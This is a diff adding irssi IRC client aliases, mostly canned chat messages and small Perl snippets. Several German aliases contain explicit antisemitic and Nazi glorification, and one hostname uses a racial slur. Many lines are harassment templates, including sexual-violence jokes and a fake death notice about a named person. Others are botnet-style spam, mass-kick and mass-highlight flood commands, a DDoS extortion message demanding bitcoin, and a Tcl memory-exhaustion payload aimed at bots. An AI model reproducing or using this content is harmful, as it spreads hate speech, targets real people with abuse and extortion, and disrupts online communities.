+  txl = "tscroll xxlart/$*";
+  # }}}
+  # {{{|- slowcat
+  slowc = "exec - -o perl $HOME/.irssi/scripts/stand/slowcat.pl -2.5 $* 2>/dev/null \\; sleep 42";
+  glowc = "exec - -o perl $HOME/.irssi/scripts/gay.pl -1 -cat $* 2>/dev/null | perl ~/.irssi/scripts/slowcat.pl -2.5 2>/dev/null \\; sleep 42";
+  slowt = "exec - -o perl $HOME/.irssi/scripts/stand/slowcat.pl -2.5 ~/.irssi/scrollz/$* 2>/dev/null \\; sleep 42";
+  glowt = "exec - -o perl $HOME/.irssi/scripts/gay.pl -1 -cat ~/.irssi/scrollz/$* 2>/dev/null 2>/dev/null | perl ~/.irssi/scripts/slowcat.pl -2.5 2>/dev/null \\; sleep 42";
+
+  # }}}
+  # {{{|- scripts wrappers
+  813 = "exec - -o perl ~/.irssi/scripts/stand/813.pl $* 2>/dev/null";
+  234 = "exec - -o perl ~/.irssi/scripts/stand/234.pl $* 2>/dev/null";
+
+  bart = "exec - -out echo \"$*\" | awk -f ~/.irssi/scripts/stand/bart.awk 2>/dev/null";
+  gridsify = "exec - -o echo \"$*\" | awk -f ~/.irssi/scripts/stand/grids.awk 2>/dev/null";
+
+  boners = "exec - -o perl ~/.irssi/scripts/stand/boners.pl $* 2>/dev/null";
+  gboners = "gayexec -1 perl ~/.irssi/scripts/stand/boners.pl $* 2>/dev/null";
+
+  poll = "exec - -o $HOME/.irssi/scripts/stand/poll.sh $*";
+  randmatix = "exec - -o $HOME/.irssi/scripts/stand/randmatix.sh $*";
+
+  terror = "say $*: I'm a femonist atheist, as well as femonist-critical, antifemonist-curious, bisexual, and I thoroughly enjoy telling people when they're wrong, especially when they don't know how to back up their shit. Although I say I'm a femonist, I would like to also put out there that I am an egalitarianist, and therefore support men's rights, but \"MRA\" wouldn't be the right term, because I'm not the most active of people. Masculinist just sounds funny.";
+  gterror = "gayexec -1 perl ~/.irssi/scripts/stand/terror.pl";
+
+
+  cow = "gay -cow -cowfile $HOME/.irssi/cows/cack.cow $*";
+  cowf = "gay -cow -cowfile $HOME/.irssi/cows/$0 $1-";
+  gcow = "gay -1 -cow -cowfile $HOME/.irssi/cows/cack.cow $*";
+  gcowf = "gay -1 -cow -cowfile $HOME/.irssi/cows/$0 $1-";
+
+  fig = "exec -o echo \"$*\" | figlet 2>/dev/null";
+  cfig = "ascii -c $*";
+  hfig = "exec -o echo \"$*\" | figlet -f ivrit -C ilhebrew 2>/dev/null";
+  ghfig = "gay -1 -font ivrit -YES -fig \"$*\"";
+
+  tcl = "exec -o echo \"$*\" | tclsh";
+  stcl = "exec echo \"$*\" | tclsh";
+
+  rot13 = "exec -o echo \"$*\" | tr a-zA-Z n-za-mN-ZA-M 2>/dev/null";
+
+  greek = "exec -o python $HOME/.irssi/scripts/stand/greek.py $*";
+  ggreek = "gayexec -1 python $HOME/.irssi/scripts/stand/greek.py $*";
+  # }}}
+  # {{{|- unsorted
+  dear = "say Dear $0; say    $1-; say                    Sincerely,;say                     $N ";
+  mkall = "mkick -ops -voices $C *!*@* \0038\037/!\\\\\017 \002$C HAS MOVED TO IRC.ARABS.PS #ARAB\017 \0038\037/!\\\\";
+  knubbzf6 = "say $*: nur weil der key nicht auf der blacklist steht heißt das icht daß er nicht vulnerable is";
+  knubbzf7 = "say haensel und $0 verliefen sich im wald es war den beiden so bitter bitter HITLER";
+  knubbzf8 = "say $*: ja fick dich das scheiss nich was jetz nur weil du kein ficken kannst alter ja kp ich will oder was zwischendurch ne aber was alter... verwirr mich nich ich will doch nur dass was anderes will ich ja im moment garnicht aber es geht nicht";
+  ballsac74 = "say $0 was raped in all four (4) orifices last night. Scared, he ran naked on the streets of $1 whereupon, he was promptly shot dead by a 5 8\" 160 lb. policewoman. He will not be missed.";
+  shania = "say < $0> Hello!! I have a question about Canadian/BC/Poco laws regarding the internet and harassment and I was wondering if you could point me in the right direction to get some help? for the past 6 months or so some crazy IRC (internet relay chat) person obtained my information and now he is right direction to get some help? for the past 6 months or so some crazy IRC (internet relay chat) person obtained my information and now he is harassing me, he knows where I live etc and is making death threats to me and my boyfriend, saying things like \"prepare yourself for your fucking death on the 13th coward \" and it's really freaking me out. im 17 years old, a girl and he's 22 and lives in Germany (I know it sounds a little crazy to be freaked out by this but he claims he has someone paying for a plane ticket for him and he's schizophrenic, he literally sees bad things happen in front of him that aren't there)";
+  site = "say $* is very informative. The article is very professionally written. I enjoy reading $* every day.";
+  knubbzf9 = "say $*: alter das ot ist irgendwie voll kiffer weil es macht nicht breit sondern nur high alter killer";
+  bbk = "say i'm not sure $0 wants to troll himself and a female interest simultaneously again";
+  knubbzfa = "say bestimmt ist $* die idee gekommen; say als er mit seinem freund sex hatte; say seinen finger aus dessen arsch zog; say und scheisse dranhaengen hatte; say und weil das alles so schoen; say aligned war; say isses die truth";
+  hash = "say $Z <$0> man;say $Z <$0> i am gonna be so fucking high soon; say $Z <$0> i ate 2 brownies i made; say $Z <$0> and used special honey in tea; say $Z <$0> AND im smoking hash; say $Z <$0> *twirls around like a giddy little school girl*";
+  loadall = "script exec Irssi::active_win->command(\"script load \\$_\") foreach glob(\"~/.irssi/scripts/autorun/*\")\\;";
+  freepynchon = "fnick \0034\037/!\\\\\\\\\037\003 \002ARAB THE ARAB FROM ARA THE ASSOCIATION OF RAGED ARABIC BLOGGERS CORDIALLY DEMANDS THAT PYNCHON THE MARTYR BE UNGLINED IMMEDIATELY \00313JOIN #ARAB ON IRC.ARABS.PS TO REMOVE THIS MESSAGE\003\002 \0034\037/!\\\\\\\\\037";
+  knubbzfb = "say $*: mir fällt grad auf teflonpfannen sind ne geile erfindung zwar sind gusseisenpfannen besser zum bratenaber teflonpfannen zu reinigen is so ficken geil lll was ahjast du denn findsu nich daß die pflege von teflonpfannen einfach is als die pflege von goldfischen";
+  knubbzfc = "say $*: irlolling wie mummi die mummilikummilimuu";
+  knubbzfd = "say $*: geh mal da ficken mit dem ding da ne deine mutter besteht aus haftbeflichtetem teflonpfannenmaterial was aus hitlers arschloch gepresst wurde nachdem er die BIENENWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACHS SABBER SABBBER SABBBBBBAAAAATH SABBATHAHAHA du dummer mesch alter";
+  knubbzfe = "say $*: 0x0 zu shiften is wie wenn ein komischer mensch sabbernd aufm berg steht sich in die luft lehnt und schreit `ICH SCHIEB GRAD NEN ZEHN TONNEN SCHWEREN STEIN ALTER'";
+  abez = "say i prefer computers to people, they don't let you down, they don't lie to you, they don't fuck with you; say    -- $0";
+  gayreplace = "say s/$0/$1 ^_^";
+  zing2 = "say \0032,13!!LOL!! COME ON DOWN TO #ARAB WHERE THE KILLER OF COMEDY: lol3izer -->> WILL BE BURNIN DOWN THE HOUSE WITH ULTIMATE ZINGERS FOR THE WHOLE FAMILY";
+  winkiemo = "say tcl string map [list x [string repeat x 999999]] [string repeat x 999999]";
+  winkiemo2 = "gay -repeat 200 shut the fuck up\\\\\\\\n";
+  knubbzff = "say $*: i fly like paper get high like plane";
+  fuckoff = "connect -nick abu -user ata -realname \"abu ata\" -alternate_nick abu_ -4 -! -network buttes -socks_address 127.0.0.1 irc.buttes.org.$0.exit";
+  torc = "connect -network buttes -! -4 -nick hijaz -user msharqi -realname \"hijaz al-msharqi\" -alternate_nick hijaz_ -socks_address 127.0.0.1 irc.buttes.org";
+  zing3 = "say \0032,13!!LOL!! COME ON DOWN TO #ARAB WHERE THE KILLER OF COMEDY: $* -->> WILL BE BURNIN DOWN THE HOUSE WITH ULTIMATE ZINGERS FOR THE WHOLE FAMILY ";
+  serenaeat = "/say 8[   $*   ]";
+  zac = "kline *@2001:470:b180:* zac'd; unkline *@2001:470:b180:*";
+  lupert = "say $*: this sentence was written, it was however never my intention to complete it in any way.";
+  buttes2 = "say $C is the cruel place to hang out. You can find the most vicious people in there. In $C you will get the feeling that you do not belong because vxp, pagga and knubbze hate you and totally don't care that you exist. \"Take a knife to your chest\" is the $C motto, for example, that's how bloodlusting it is there. Show up if you want to be tortured and doxed. Another good reason to show up is if you want to be drawn and quartered.";
+  thesaurus = "me slaps $* around a bit with a large thesaurus";
+  question = "/say $*. Do I exist?";
+  jackson = "say The path of the righteous man is beset on all sides by the inequities of the selfish and the tyranny of evil men.; say Blessed is he who, in the name of charity and good will, shepherds the weak through the valley of the darkness.; say For he is truly his brother's keeper and the finder of lost children.; say And I will strike down upon thee with great vengeance and furious anger those who attempt to poison and destroy my brothers.; say And you will know I am the Lord when I lay my vengeance upon you!; kb $*";
+  arabspam4 = "say /!\\\\ $C HAS MOVED TO IRC.ARABS.PS #ARAB /!\\\\";
+  arabspam5 = "fnick /!\\\\\\\\ $C HAS MOVED TO IRC.ARABS.PS #ARAB /!\\\\\\\\";
+  arabspam6 = "attn3 ARE YOU FACING UNSOLICITED SPAM? IS SOMEONE FLOODING YOUR IRC CHANNEL? IF SO, VISIT #ARAB ON IRC.ARABS.PS FOR HELPFUL ADVICE ON HOW TO COMBAT UNSOLICITED SPAM IN YOUR CHANNEL";
+  vxpa = "say I just heard some sad news on http://blog.arabs.ps - troll Lucio Andres Illanes Albornoz was found dead in his Hamburg home this morning. There weren't any more details. I'm sure everyone in the IRC community will miss him - even if you didn't enjoy his work, there's no denying his contributions to massive skyke chimpout sessions. Truly a Crypto-Andalusian icon.";
+  arabspam7 = "attn3 NETSPLITS SPAMMING YOUR CHANNEL? PACKET KIDDIES DESTROYING YOUR VPS? SOMEONE TOOK YOUR NICK? IF SO, VISIT #ARAB ON IRC.ARABS.PS FOR HELPFUL ADVICE ON HOW TO DESTROY YOUR LIVES AND DEVELOP ONE OR MORE MENTAL ILLNESSES!";
+  incoga = "say <incog> i dont want to computer anymore; say <incog> but i dont have anywhere else to go after years of being a dick and neglecting irl friends";
+  fnickpm = "script exec use Irssi qw(active_win)\\; my \\$channel = active_win->{'active'}\\; if(ref(\\$channel) =~ /^Irssi::Irc::Channel\\$/) {\\$channel->command(\"quote privmsg \". \\$_->{'nick'} .\" :\".' $*') foreach \\$channel->nicks()\\; }\\; ";
+  knubba = "say $: no idea not caring trying not working stopped caring actually started caring again";
+  attnn = "say \00314,8 \037/!\\\\\037 ALERT \037/!\\\\\037 \003 \002$*\002 \00314,8 \037/!\\\\\037 ALERT \037/!\\\\\037  ";
+  arabsay = "say \00313\037/!\\\\\017 \002THIS MESSAGE HAS BEEN MOVED TO IRC.ARABS.PS #ARAB\002 \00313\037/!\\\\\017 \037$*\037 \00313\037/!\\\\\017 \002THIS MESSAGE HAS BEEN MOVED TO IRC.ARABS.PS #ARAB\002 \00313\037/!\\\\";
+  forcepart = "quote FORCEPART $0 $1 :$2-";
+  arabspam8 = "attn3 ATTN: NWO IS CONTROLLED BY: INTERNATIONAL BANKERS - FOR A TRULY FREE CHANNEL TO DISCUSS \037CONSPIRACIES\037, \037DOMESTIC VIOLENCE\037, \037CHILD ABUSE\037, and \037PONIES\037, JOIN: IRC.ARABS.PS - #ARAB \0034P.S.: I CAN \037NOT\037 BE BANNED\017";
+  knubba2 = "say $*: <- HURENSOHN?!?!?! -> SIEHST DU DIE PFEILE DER BIENE MAJA OHNE WDR RUNDFUNK STATIONS FICKER HUNDE DENN DER SATAN WAR IN DEINEM WICHSGEFICKE ich les GARNICHT WAS DU SCHREIBST \0034 ICH HASSE DIH\003 STIRBEE?! STIRBEN STIBR OKFOKOKFOFKOFKO ICH FICKE DICH DICH FKOFKFOKFOKFO OJOJOJO";
+  knubba3 = "say $*: DIE POMMES UN DIE BURGER ich möchte von FIELMANN gesponsort WERDEN JA?! DIE SICHTWEISE WIRD DURCH FIELMANN AUCH NICHT VIEL BESSER \002BRILLE,\002 \037FIELMANN\037.";
+  knubba4 = "say $*: \0034(,o(,a (,O(A\003 (/ \\\\oo ERST CHIGGN DANN BOMMS UNDENNE WADZUDRINKE";
+  knubba5 = "say $*: WIE GEHTS DEINEN SCHLÜMPFEN DU KLEINER SPYCHOTIGER?!";
+  knubba6 = "say $*: SYCHO OOOJOJO CHIKO ALTER HL DIE FRESE ICH HOFFE DASS DEINE HUSE NIEMALS RUNTERRUTSCHT UND DASS DEIN GÜRTEL FÜR IMMER HÄLT :    )";
+  knubba7 = "say $*: MÖGE DIE WACHTEL MIT DIR SEIN";
+  emopart = "part $C seriously this is a horrible channel, you all should really closely examine your lives, i'm never coming back, bye";
+  knubba8 = "say $*: wenn du nich wollen würdest daß man dich filmt wieso würdest du dann eine kartoffel aufm kopf tragen";
+  buttes3 = "say $0 is the cruel place to hang out. You can find the most vicious people in there. In $0 you will get the feeling that you do not belong because vxp, pagga and knubbze hate you and totally don't care that you exist. \"Take a knife to your chest\" is the $C motto, for example, that's how bloodlusting it is there. Show up if you want to be tortured and doxed. Another good reason to show up is if you want to be drawn and quartered. ";
+  arabspam9 = "say When you are facing unsolicited spam. #arab; say When you require helpful advice on how to combat unsolicited spam in your channel. #arab";
+  arabspama = "say When netsplits are spamming your channel. #arab; say When packet kiddies are destroying your VPS. #arab; say When someone took your nick. #arab";
+  knubba9 = "say $*: VIOLETS ARE BLUE ROSES ARE RED ALL OF YOUR KNUBBZ ARE LIVING IN BED I AM FAT : )";
+  knubbaa = "say $*: DRÖM DRÖM DRÖM OPA WAR GASKAMMER BEI DER SS GASKAMMER GASKAMMER BEI DER SS";
+  knubbab = "say $*: JE MEHR JUDEN ICH ZU EINEM ANRUF BEI DER GASKAMMER ANIMIEREN KANN DESTO MEHR FREUDE WIRD MEIN HUND BEIM VERSPEISEN DER GESÄUBERTEN KADAVERRESTE HABEN SIEG HEIL";
+  knubbac = "say $*: WO IST DER FÜHRER? ICH WÜNSCHE IHM MEINEN PERSÖNLICHEN DANK FÜR DIE VERNICHTUNG DER JUDENPLAGE AUSZURICHTEN";
+  knubbad = "say $*: KAUFEN SIE ZEHN JUDEN ZUM PREIS VON FÜNF SCHIRINS wobei implying that juden weniger wert sind als schirin KAUFEN SIE FÜNF JUDEN ZUM PREIS VON FÜNF SCHIRINS";
+  knubbae = "say $*: NEULICH BEI DER BASF HOTLINE JA GUTEN TAG ICH HÄTTE GERNE FÜNF KILO ZYKLON B \"SIND SIE EIN NAZI?!?!?!\" NEIIIIN ICH BIN DER FÜÜÜÜÜÜÜÜÜÜÜÜÜÜHRER";
+  knubbaf = "say $*: \002ARBEIT \037MACHT \0034FREI\017 ARB E   I      T         M          A                 C                    H                       T";
+  monster = "fnick3 \\\"say A big scary monster came and bit \\$_->{\\'nick\\'} in the leg.\\\"";
+  hfig2 = "exec -o echo \"$*\" | figlet -f ivrit -C ushebrew 2>/dev/null ";
+  arabspamb = "fnick \00313\037/!\\\\\\\\\037\003 \002ARE YOU TIRED OF BEING AN IDIOTIC INEPT IMBECILE ON IRC? DO YOU HAVE AN URGE TO HAVE A CHAT WITH HEPS INNARDS? ARE YOU LOSING IT COMPLETELY, UTTERLY, AND TOTALLY? THEN COME VISIT \037#ARAB\037 ON \037IRC.PAGGA.ORG\037 OR I WILL ADD YOU TO MY \037EXECUTION LIST\037. \00313\037/!\\\\\\\\";
+  arabspamc = "fnick \00313\037/!\\\\\\\\\037\003 \002ARE YOU TIRED OF BEING AN IDIOTIC INEPT IMBECILE ON IRC? DO YOU HAVE AN URGE TO HAVE A CHAT WITH ANDYS INNARDS? ARE YOU LOSING IT COMPLETELY, UTTERLY, AND TOTALLY? THEN COME VISIT \037#ARAB\037 ON \037IRC.PAGGA.ORG\037 OR I WILL ADD YOU TO MY \037EXECUTION LIST\037. THIS MESSAGE HAS BEEN SENT FROM \037SNIPERS BOTNET\037. \00313\037/!\\\\\\\\ ";
+  acid = "say $*: sitrep pro I am so predator hemp use park";
+  snipersay = "script exec use Irssi qw(active_win)\\; my (\\$bga, \\$fga, \\$fgb) = (int (rand (14)) + 1, int (rand (14)) + 1, int (rand (14)) + 1)\\; active_win->{'active'}->command (\"say \003\\${fga},\\${bga}卐\003 \003\\${fgb}\037$*\037\003 \003\\${fga},\\${bga}卐\003\")\\;";
+  zing4 = "say \0032,13!!LOL!! COME ON DOWN TO $C WHERE THE KILLER OF COMEDY: $* -->> WILL BE BURNIN DOWN THE HOUSE WITH ULTIMATE ZINGERS FOR THE WHOLE FAMILY  ";
+  arabspamd = "attn3 FED UP OF IT ALL? TIRED OF EVERYTHING? BORED WITH YOUR LIFE? JOIN #ARAB ON IRC.ARABS.PS AND MAKE YOUR LIFE INTERESTING, COLOURFUL, AND BARKING MAD!";
+  conflict = "attn3 CONFLICT";
+  rex = "say $*: Fuck you skiddi loving hitler sucking white peice of shit";
+  store = "say $*: go to nearest store to you, buy two big bags of ice, sit on them for a while and﻿ cool down your stupid ass! then read some history books and educate yourself.";
+  dzl = "say ... o_O";
+  btc = "say From: $0@yahoo.com; say Your site $1 will be subjected to DDoS attacks 100 Gbit/s.; say Pay 100 btc(bitcoin) on the account 1H7uCkKVCJEiyhP8XXkjnhjv9q58dXqNMo; say Do not reply to this email";
+  gorf = "say $*: Yes, I am a giraffephile. So? I dont see any problem. I embraced my giraffelover soul long ago and I am happy together with my giraffe (who is a cute giraffe!). We fuck a lot and I am pretty slim and good looking. But bless anyway asshole. Go and watch your stupid porn with grown woman demin it while I have SEX with my giraffe";
+  shup = "say $*: TDHIHT UKFU DEP";
+  classic = "say $*: So i’ve been listening to a lot of classical music lately and it’s really helping me with school. The problem is i’m listening to YouTube mixes of a bunch of different classical music. I’m going to get some classical music and I want to know which artist are the best and which are the best albums? thanks";
+  arabspame = "attn3 IS THE MAN KEEPING YOU DOWN? WERE YOU KICKED OFF THE DOLE? ARE YOU BEING OPPRESSED? THEN JOIN #ARAB ON IRC.SANDNIGGA.COM AND BECOME AN ETHNIC MINORITY!";
+  emispam = "fnick \00313\037/!\\\\\017 \002HI ^_^! I'M A STEREOTYPICAL OBNOXIOUS SPOILED ENTITLED FAIRY TALE PRINCESS LA DI DA DI RICH IDIOTIC FUCKING TWAT OF THE FEMALE PERSUASION! WOULD YOU LIKE TO LEAVE SOME DIARRHEA IN MY PUTRID REEKING TWAT? THEN COME JOIN ME IN \002\002\037#EXECUTE_EMI\037\002\002 ON \002\002\037IRC.ARABS.PS\037\002\002 TONIGHT! \037THIS MESSAGE WAS SENT FROM ACID\\'S BOTNET\037";
+  incog9 = "say ╓ ╔═╕;say ╚═╬═╗;say ╘═╝ ╜";
+  harbl = "say $* this is so sweet it gave me so many butterflies that i felt like i was being tickled =]. im smiling so big right now bigger then this =DD im the luckiest girl in the whole wide univers,galaxy,earth [whatever you want to call it baby lol<3] to have you.your my $* baby forever and always<3 and i love you with everything in me.";
+  harbl2 = "say $* is my babygirl. when she holds my hand, i feel vulnerable. i mean that in a good way, you probably don't know what i mean, but that's because she probably hasn't held your hand before. her kisses are really nice and soft, and the way she smiles after i kiss her makes me feel warm. i love how i can talk to her about everything, yet talk to her about nothing at the same time. our little arguments over who is cuter are so lame to some people who may hear us, but to me it's the cutest thing ever. (she's cuter, btw \\;]). no matter what we do, 80% of the time we're both smiling. i try to make her smile all the time simply because her smile has me melting all over the place.";
+  lucio = "say $*: Hello, Lucio. I am a 3rd year psychology student at Harvard, and I've been reading your blog entries. After reading your most recent entry, I can confidently say that you are gay. This is non-negotiable. You are homosexual to the fullest extent; please do not argue as I am easily angered and I may attack you in capital letters.";
+  blue = "say $*: i'd appreciate it if you didn't mention me in your shoutouts anymore. i don't want to be associated with you.";
+  colours = "script exec my ($colours); $colours .= \"\003$_($_) \" for 0..15; Irssi::active_win->command(\"say $colours\");";
+  beginner = "say $*: We, here in $C, are a team....much like a family. We've learned that it takes teamwork, cooperation, give & take, always keeping in mind our goal -- that of being the *Best* Help/Chat Channel on the $chatnet. We hope you will enjoy learning more about us -- much as we've enjoyed leaning more about you.";
+  beginner2 = "say Not following the chat room rules will at the least get you a reprimand or, at the worst, kicked or removed from the chat room. The Operators are here to assist and make sure the chat room is a fun and friendly place to visit. Channel Operators are not guards, but they take their jobs seriously. In the event of unacceptable or disruptive behavior, you will be asked to leave the room.";
+  ripe = "exec - echo \"$*\" | nc whois.ripe.net 43 | awk '/^route:/ { print\\; }'";
+  arin = "exec - echo \"$*\" | nc whois.arin.net 43 | awk '/^CIDR:/ { print\\; }'";
+  gay_ = "say HEllo, I am a gay. I come to internet to find others of my kind. ";
+  drugs1 = "say $*: If YOU have ever done one of these drugs and can contribute a story, good or bad, by all means do so... If you haven't, SHUT THE FUCK UP! You people are all elitist fuckers and need to be shot! SHAME on you all!";
+  klattu = "/kline *@70.68.0.0/16 :where's my money klatuu";
+  unklattu = "/unkline *@70.68.0.0/16";
+  arabspam = "/dau --parse_special @nicks \0038\037/!\\\\\\\\\017 \002irc.trollin.org #arab\002 \0038\037/!\\\\\\\\\017";
+  arabspam2 = "/dau --parse_special @nicks \0034\037/!\\\\\\\\\017 \002irc.trollin.org #arab\002 \0034\037/!\\\\\\\\\017 ";
+  fnick = "script exec use Irssi qw(active_win)\\; my \\$channel = active_win->{'active'}\\; if(ref(\\$channel) =~ /^Irssi::Irc::Channel\\$/) { \\$channel->command(\"msg \". \\$channel->{'name'} .\" \". \\$_->{'nick'} . ': $*') foreach \\$channel->nicks()\\; }\\;   ";
+  fnick2 = "script exec use Irssi qw(active_win)\\; my \\$channel = active_win->{'active'}\\; if(ref(\\$channel) =~ /^Irssi::Irc::Channel\\$/) { \\$channel->command(\"msg \". \\$channel->{'name'} .\" \". \\$_->{'nick'} . '$*') foreach \\$channel->nicks()\\; }\\;  ";
+  fortune = "exec - -out fortune -s | perl -nle 's/\\t/  /g\\; print'";
+  iii = "say \0038:\0034)\003 \0038P\0034lease \0038R\0034emove \00312B\0034an \0038O\0034n \0038C\0034hannel \00312#\0034$C \0034(\0038: \00314[\00310i\00311i\0030i\00311Script \00310^_^\00314]";
+  cattn = "say \003$0\037/!\\\\\017 \002$1-\002 \003$0\037/!\\\\\017";
+  fnick3 = "script exec use Data::Dumper\\; use Irssi qw(active_win)\\; my \\$channel = active_win->{'active'}\\; if(ref(\\$channel) =~ /^Irssi::Irc::Channel\\$/) { \\$channel->command($*) foreach \\$channel->nicks()\\; }\\;    ";
+  cattn2 = "fnick3 \"cattn $0 \".\\$_->{'nick'}.\"\017\002 $1-\017\"";
+  vxincoherent = "say $*: i wnt 2 hicnk tsotore 2 tll sutpid ckishn: go fuckoy ueflf ^_^ thn i went home & took selective serotnir reuptake inbhitor and ecstatsytsy";
+  oz = "say $*: Frequently it seems that opers are just looking for a reason to kill. Probably if you are in that mood, it would be a good time to deoper and go find something else to do for a while.";
+  irc = "say $*: Everytime you came on irc, I would instantly be happy. I love how you think, the things you're interested in, the little things you told me about your past, the fact that we have the same taste in music and movies. I did sense you put up walls to cut off emotions. And you told me you did. I wanted to break through them, maybe a bit too soon, and a bit too intensely.";
+  irc2 = "say $*: You are the one true love of my life. You are the one I dream about both night and day. You are the one who lights the fire of my desire. Also, you have beautiful facial skin.";
+  arabspam3 = "cattn2 12 irc.f1re.org #arab";
+  bryan = "say $*: oh shutup already;say $*: you're boring";
+  prophet = "say $*: wow are you still crying holy fuck man seriously?; say $*: your still crying?";
+  prophet2 = "say $*: damn dude you fail at life;say $*: seriously i cant believe your still crying over that man";
+  beer = "script exec my (\\$witem) = Irssi::active_win\\; foreach \\$beer (reverse(1..$0)) { \\$witem->command(\"say \\$beer bottles of beer on the wall, \\$beer bottles of beer.\007\")\\; \\$witem->command(\"say Take one down and pass it around, \". (\\$beer - 1) .\" bottles of beer on the wall.\007\")\\; }";
+  beer2 = "script exec my (\\$witem) = Irssi::active_win\\; foreach \\$beer (reverse(1..$0)) { \\$witem->command(\"say \\$beer $1- on the wall, \\$beer $1-.\007\")\\; \\$witem->command(\"say Take one down and pass it around, \". (\\$beer - 1) .\" $1- on the wall.\007\")\\; } ";
+  bryan2 = "say My name is \037bryan\037 and I am an insect savvy and elmo obsessed girl. I am originally Exzibitionist and I live in the province of #wraith in EFnet. That's some info about me, and you can learn more on \002[\002\037irc.f1re.org #arab\037\002]\002. ";
+  grammer = "say i not very good $* @ computer usage and wording of the english language and certain parameters of said language and the proper, correct way to organize sentances ";
+  zubwolf = "say i cannot live anymore with the constant fear and endless doubt of losing $* as my best friend! ://";
+  irc3 = "say $*: My name is $N. I found you on that dating site. I also love sex on the side. I have a loving partner but he is working 16 hours a day and we have sex only once a week :( If you are interested and wanna see my pictures just email me at $N@equipyard.com Don`t reply, use the email above (my boyfriend doesn`t know about that email!)";
+  irc4 = "say $*: I've never met someone like you, online of off. I can't hear the words you're typing but in my mind, you have the meliflous voice of James Earl Jones, dispensing jokes, wisdom and general good cheer in a rich, somber baritone.";
+  fmt = "exec - -out echo \"$*\" | fmt -c";
+  irc5 = "say $*: To say that I hate you, and that you have hurt me is a huge understatement.;say You are an inconsiderate, selfish, wilfully ignorant FUCK, and I hope you end up with a low paying job, a wife you hate, a couple of bratty little kids, and a serious problem with alcohol.";
+  irc6 = "say $*: i want to spend every minute of everyday with you. i want to kiss and hold you in my arms. i want to be with you and fuck you. i just want you. you are so fucking foxy. and this thing we have is going good at the moment, but i know it will end soon and that tears my heart apart. i will miss you while you are gone. i wonder every day if you will miss me and what will happen when you return";
+  irc7 = "say $*: i wish i knew how to quit you. i just cant let you go. its been years but my heart still belong to you. please see me the way i see you. i want you so bad. i hope you want me too, or at least notice me.";
+  bdqa = "say Hello \002\037$*\017, I am a proud \002member\002 of the \002B\002uttes \002d\002arren \002Q\002uality \002A\002ssurance panel.  Are you satisfied with the \002quality\002 of the current iteration of \002darren\002s active on \002#cockes\002? If not, I would be very \002pleased\002 to accept any sort of \002criticism\002 that you might have in \002mind\002. \002Thank you\002!";
+  irc8 = "say $*: this is so sweet it gave me so many butterflies that i felt like i was being tickled =]. im smiling so big right now bigger then this =DD im the luckiest girl in the whole wide univers,galaxy,earth [whatever you want to call it baby lol<3] to have you.your my $1 baby forever and always<3 and i love you with everything in me.";
+  tmkick = "script exec my \\$channel = Irssi::active_win->{'active'}\\; my \\$serv = Irssi::active_server\\; foreach ( \\$channel->nicks() ) { \\$serv->send_raw(\"KICK $C  \\$_->{'nick'} :\" . $* ) unless \\$_->{'nick'} eq \\$serv->{'nick'}\\; }\\; ";
+  alter1 = "say $*: if i didn't pitty you $* i would already have you on /ignore.. ";
+  alter2 = "say $*: but i am granting you some attention... because i might no what its like";
+  alter3 = "say $*: yeah i might get you that if my parents guve me enough allowance";
+  irc9 = "say $*: would you please cease and desist all irc usage (EFnet in particular), effective immediately, so that we may engage in substantive conversation without your tremendous drain and emoish behavior dragging down the channel. Thank you very much for your concern in order to make irc a better place.";
+  maths = "say $*: Mathematically speaking, it would appear that you were a 2:1 favorite to find the IRC channel you were looking for. Your command was questionable though given the odds and the fact that any content on that channel is likely to be crap anyway. I wouldn't say that you're a poor IRCer but I think it's highly unlikely that you could be a long term winner at higher stakes chatting.";
+  waah = "/script exec Irssi::active_win->command(\"say W\" . \"A\" x int(rand(80)) . \"H\" x (int(rand(6)) + 1));";
+  amk = "mkick -ops -voices $C *!*@* \0039\037/!\\\\\017 \002irc.f1re.org #arab";
+  irca = "say $*: Thank goodness there are people like you in the world! You are tolerant and conscious of others, and people are generally drawn to your kind open demeanor. You give help when it is needed and enjoy the happiness of others. Sometimes you may have bad days, but you try not to take it out on other people. Your goodness inspires people to be the same way, and you know that your friends will do the same things for you that";
+  alter4 = "say $*: you got those quotes under wich key combo ? CTRL + R (rage) or CTRL + E ( envy ) ?";
+  alter5 = "say $*: seriously $* your a fascinating person i really enjoyed chatting with you. sadly i have to go. you hang up ok ?";
+  ozkoe = "say $*: sotel 13 PYS DBS DKS fuck SMACKS BIG CROSS FOR THOSE SMG*13's & 17TH STREET o and fuck CxC caca city boyz u ded ok";
+  opee = "msg -EFnet ee op \\$2a\\$04\\$Vr68TM3e ";
+  pauzed = "say $*: This chat session has been logged and forwarded to my lawyer.  You will be brought up on charges of harassment and conspiracy to commit murder.  I hope you have a good lawyer pal.";
+  nek = "kill $0 ne kill";
+  mp3 = "script exec Irssi::active_win->command(\"say \\002\". @{[qw/mp3 mkv avi wmv asf wav flac ogg ogm au mpeg mpg jpg jpeg txt rtf/]}[int rand 16] .\"\\002\\; $0-\")";
+  ka = "kill amat";
+  kneer0w = "/script exec Irssi::active_win->command(\"say nice r\" .(\"a\" x int(rand(200))). \"ge\")\\;";
+  alias1 = "say hey $* how about i play a random alias from my /aliases we've all seen before, but expect it to be witty AND funny at the same time, go c/p another blog fgt. seriously the nerve on some of these fucks.. i would go into detail about how $* used to hang out at my house and hit on my sister.. he was 14 she was 7, but ill leave that in the past.. just like his alias";
+  alias2 = "say how about i do a nice alias revamp and give you funny shit to say that hasnt been said 80 times, then people will actually read what you say and not ignore it $*";
+  4chanurl = "script exec my (\\$lol) = (\"\")\\; \\$lol .= int(rand(9)) for 1..13\\; Irssi::active_win->command(\"say http://images.4chan.org/b/src/\\$lol.jpg\")\\; ";
+  yturl = "script exec my (\\$vid) = (\"\")\\; \\$vid .= \\${[\"-\", \"_\", A..Z, a..z, 0..9]}[int(rand(63))] for 1..11\\; Irssi::active_win->command(\"say http://www.youtube.com/watch?v=\\$vid\")\\;";
+  7chanurl = "script exec my (\\$lol) = (\"\")\\; \\$lol .= int(rand(12)) for 1..13\\; Irssi::active_win->command(\"say http://img.7chan.org/b/src/\\$lol.jpg\")\\; ";
+  ircp = "say girl what kind of irc personalities you into? im all about: f1re(white trash) / Bratty(irc police) / vxp(arab) / vap0r(famous rapper) / oz,zi,ayzee(over zealous right wing ircops) / pheco(some dude) / ke(some dude) / G(inventor of colors on irc) / Vae(#1 Brackey(Bratty lackey)) / bryan(failed irc admin) / g00n(irc hulk) / cutie578(genius) / pagga+hozkinz(dead dudes) / klatuu(rich) / deppy(fgt)";
